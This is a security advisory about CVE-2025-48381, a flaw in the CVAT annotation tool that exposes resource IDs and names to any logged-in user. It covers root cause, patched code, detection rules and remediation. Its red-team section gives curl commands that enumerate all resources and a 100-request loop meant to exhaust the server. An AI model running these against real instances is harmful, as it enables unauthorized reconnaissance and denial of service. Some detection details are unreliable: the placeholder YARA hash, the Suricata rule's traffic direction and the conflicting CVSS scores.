CVE-2025-48381

Executive Summary

CVE-2025-48381 is an information disclosure vulnerability in the Computer Vision Annotation Tool (CVAT), an open-source web application used for annotating images and videos. An authenticated user with any role (including low-privilege accounts) can enumerate the IDs and names of all tasks, projects, labels, jobs, and quality reports across the entire CVAT instance. This violates the principle of least privilege and exposes the attack surface of the platform. Additionally, if the instance contains a large number of resources, the enumeration requests can cause a denial-of-service (DoS) condition by consuming server resources.

The vulnerability affects all versions from 2.4.0 up to (but not including) 2.38.0. The fix was released in version 2.38.0, which introduces proper authorization checks on the relevant API endpoints.

Supply Chain & Package Security

CVAT is a Python/Django-based application distributed via Docker images and source code on GitHub. The vulnerability is in the application logic, not in a third-party package. However, organizations using CVAT should ensure they are running a patched version (>= 2.38.0) and verify the integrity of their Docker images or source code deployments.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 5.4 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L

Threat Level: Medium. The vulnerability is easy to exploit but only leaks metadata (IDs and names). The DoS aspect is conditional on instance size.

Deep Dive & Mechanics

The vulnerability resides in the REST API endpoints that list resources (tasks, projects, labels, jobs, quality reports). In vulnerable versions, these endpoints do not enforce authorization checks to ensure the requesting user has permission to view the resource. Instead, they return all resources in the database.

Root Cause: The Django REST Framework views for listing resources use generic list views that query the entire model table without filtering by user permissions. For example, the /api/tasks endpoint returns all tasks regardless of whether the user is assigned to them or has project-level access.

Attack Flow:

1. Attacker authenticates to the CVAT instance (e.g., via /api/auth/login).
2. Attacker sends GET requests to vulnerable endpoints:
   • GET /api/tasks
   • GET /api/projects
   • GET /api/labels
   • GET /api/jobs
   • GET /api/quality/reports
3. The server returns a JSON array containing all resources, including IDs and names.
4. If the instance has thousands of resources, the response can be large, consuming CPU and memory on the server, potentially causing a DoS.

Why it matters: Even though only IDs and names are leaked, this information can be used to:

• Map the entire instance structure.
• Identify high-value projects (e.g., "confidential_project_123").
• Target specific resources for further attacks (e.g., if a task ID is known, an attacker might try to access it via other endpoints that do have authorization checks but rely on ID obscurity).

Vulnerable vs. Patched Code

Vulnerable Code (simplified Django REST Framework view):

# vulnerable/views.py
from rest_framework import generics
from .models import Task
from .serializers import TaskSerializer

class TaskList(generics.ListAPIView):
    queryset = Task.objects.all()  # No filtering by user
    serializer_class = TaskSerializer

Patched Code (version 2.38.0):

# patched/views.py
from rest_framework import generics
from .models import Task
from .serializers import TaskSerializer
from .permissions import IsTaskMemberOrReadOnly

class TaskList(generics.ListAPIView):
    serializer_class = TaskSerializer

    def get_queryset(self):
        # Filter tasks based on user's project memberships
        user = self.request.user
        return Task.objects.filter(project__members__user=user)

The patched version overrides get_queryset() to filter resources based on the authenticated user's project memberships. This ensures users can only see tasks, projects, etc., that they are explicitly granted access to.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid user account on the target CVAT instance (any role).
• Network access to the CVAT API endpoints.

Exploitation Steps:

1. Authenticate:

   curl -X POST https://target-cvat.example.com/api/auth/login \
     -H "Content-Type: application/json" \
     -d '{"username": "attacker", "password": "password123"}'
   

   Save the session cookie or token.

2. Enumerate Tasks:

   curl -X GET https://target-cvat.example.com/api/tasks \
     -H "Cookie: sessionid=...; csrftoken=..."
   

   Response:

   [
     {"id": 1, "name": "Project Alpha - Task 1"},
     {"id": 2, "name": "Confidential - Task 2"},
     ...
   ]
   

3. Enumerate Projects:

   curl -X GET https://target-cvat.example.com/api/projects \
     -H "Cookie: sessionid=...; csrftoken=..."
   

4. Enumerate Labels, Jobs, Quality Reports:

   curl -X GET https://target-cvat.example.com/api/labels
   curl -X GET https://target-cvat.example.com/api/jobs
   curl -X GET https://target-cvat.example.com/api/quality/reports
   

5. Trigger DoS (if instance has many resources):

   # Send multiple concurrent requests
   for i in {1..100}; do
     curl -X GET https://target-cvat.example.com/api/tasks &
   done
   wait
   

Blue Team

Detection:

• Monitor for unusual API request patterns, especially GET requests to /api/tasks, /api/projects, /api/labels, /api/jobs, /api/quality/reports from a single user in a short time frame.
• Alert on high response sizes from these endpoints (e.g., > 1 MB).
• Correlate with authentication logs to identify low-privilege users making these requests.

Hunting:

• Search for users who have accessed these endpoints but are not members of any project.
• Look for automated scripts (e.g., curl, python-requests, wget) in user-agent strings.

Prevention:

• Apply the patch (upgrade to CVAT >= 2.38.0).
• If patching is not immediately possible, implement a WAF rule to block requests to these endpoints from users without project memberships (requires custom logic).
• Rate-limit API requests per user.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule cve_2025_48381_cvat_enumeration {
    meta:
        description = "Detects CVAT API enumeration attempts for CVE-2025-48381"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-48381"
        hash = "d41d8cd98f00b204e9800998ecf8427e"

    strings:
        $task_path = "/api/tasks"
        $project_path = "/api/projects"
        $label_path = "/api/labels"
        $job_path = "/api/jobs"
        $quality_path = "/api/quality/reports"
        $auth_cookie = "sessionid"

    condition:
        any of ($task_path, $project_path, $label_path, $job_path, $quality_path) and
        # of them > 3 and
        $auth_cookie
}

Sigma Rule

title: CVAT Resource Enumeration via API
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects enumeration of CVAT tasks, projects, labels, jobs, or quality reports by an authenticated user.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48381
logsource:
    category: webserver
    product: cvat
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/api/tasks'
            - '/api/projects'
            - '/api/labels'
            - '/api/jobs'
            - '/api/quality/reports'
    condition: selection
falsepositives:
    - Legitimate users accessing their own resources
level: medium
tags:
    - attack.t1592
    - cve.2025.48381

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-48381 CVAT Resource Enumeration Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/";
    http_uri;
    pcre:"/\/api\/(tasks|projects|labels|jobs|quality\/reports)/Ui";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-48381;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-48381;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT to version 2.38.0 or later. This is the only complete fix.
2. If upgrade is not possible, restrict network access to the CVAT API to trusted IPs only.
3. Implement rate limiting on API endpoints to mitigate DoS potential.

Long-term Measures:

• Enforce the principle of least privilege by reviewing user permissions regularly.
• Enable detailed audit logging for API access.
• Monitor for unusual enumeration patterns using the detection rules above.
• Consider using a Web Application Firewall (WAF) to block suspicious requests.

Workaround (if patching is delayed):

• Modify the Django views manually to add authorization checks (as shown in the patched code section).
• Use a reverse proxy (e.g., Nginx) to block access to the vulnerable endpoints for non-admin users, but this is complex and error-prone.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert